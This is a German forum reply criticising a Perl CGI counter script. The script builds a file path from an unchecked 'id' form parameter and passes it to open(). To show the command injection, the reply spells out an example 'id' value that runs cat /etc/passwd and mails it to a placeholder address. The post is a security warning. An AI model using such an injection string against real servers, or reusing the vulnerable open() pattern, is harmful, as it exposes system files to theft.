Richard Voß: Sag, wo sind die Dateien hin. Wo..

Beitrag lesen

Ich muss zugeben ich habe von PERL keine Ahnung.

Das ist keine gute Voraussetzung, um sicherhetskritische Probleme zu lösen. Du gefährdest nämlich deinen Webserver.

Pfaddeklaration im cgi=

Set this to the directory to store data.

This directory must have write access.

Use "." for cgi-bin directory

$DDIR = "";

Datei öffnen im cgi=
print "Content-Type: application/x-javascript\n\n";
$file = "$DDIR/$FORM{'id'}.cnt";

^^^^^^^^^^^

Woher kommt %FORM? Das sieht wieder nach so einem grottenschlechten handgestrickten Formparser aus. Ich kann dir jetzt schon sagen, dass dieses Programm große Sch**** ist.

if(! -e $file) {
  $count = 0;
} else {
  open(CNT, "$file") || die "count not read $file";

Weißt du, was passiert, wenn ich dir als 'id' folgendes übergebe?

dummy; cat /etc/passwd | sendmail somewhere@somepla.ce ; echo

Dann wird in $file folgendes stehen:

/dummy; cat /etc/passwd | sendmail somewhere@somepla.ce; echo .cnt

und rate mal, was bei open() passiert?
Richtig, deine /etc/passwd wird schlimmstenfalls an jemanden per email verschickt.

Besorg dir ein ordentliches Programm! Dieser Mist gehört in die Datensenke.